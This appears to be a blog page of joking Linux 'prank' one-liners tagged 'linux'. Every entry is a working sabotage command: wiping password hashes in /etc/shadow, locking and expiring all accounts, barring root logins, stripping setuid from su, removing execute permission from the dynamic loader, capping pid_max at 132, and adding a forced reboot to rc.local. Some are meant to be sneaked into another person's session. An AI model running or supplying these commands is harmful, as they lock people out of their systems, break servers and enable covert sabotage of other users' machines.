Posts Tagged ‘ linux

Passwords? We don’t need no stinkin’ passwords!

sed -ri 's/([^:]*):[^:]*:(.*)/\1:!!:\2/' /etc/shadow

Or for the wusses who want something a bit more recoverable:

for I in $(getent passwd | cut -d: -f1)
do
    passwd -l ${I}
    chage -E0 -M1 -m513 -I1 -W1023 ${I}
done

Still, who needs root?

printf 'root\t-\tmaxlogins\t0\n' >> /etc/security/limits.conf

Who needs root anyway?

chmod u-s /bin/su

Nice and quiet on the email front

Do you hate all those incoming and outgoing emails as much as we do? Are you running sendmail? In that case help is at hand:

chmod g+w /

Better learn to type fast…

Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:

export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'

Fun with Vim and Files

Add this little bugger to either /etc/vimrc or to an induhvidual’s ~/.vimrc

:wqa

I’m sorry, but I can’t let you do that Dave…

echo "kernel.pid_max = 132" >> /etc/sysctl.conf

Better get some rescue cd’s…

This one was submitted by giulivo using the submission link:

chmod a-x /lib/ld-2*.so

What ftp server?

In /etc/vsftpd/vsftpd.conf add or change the following lines:

chown_uploads=YES
chown_username=daemon<space>

Where <space> is an actual space character before the end of the line.

Beginners

Run the following command and reboot :

echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local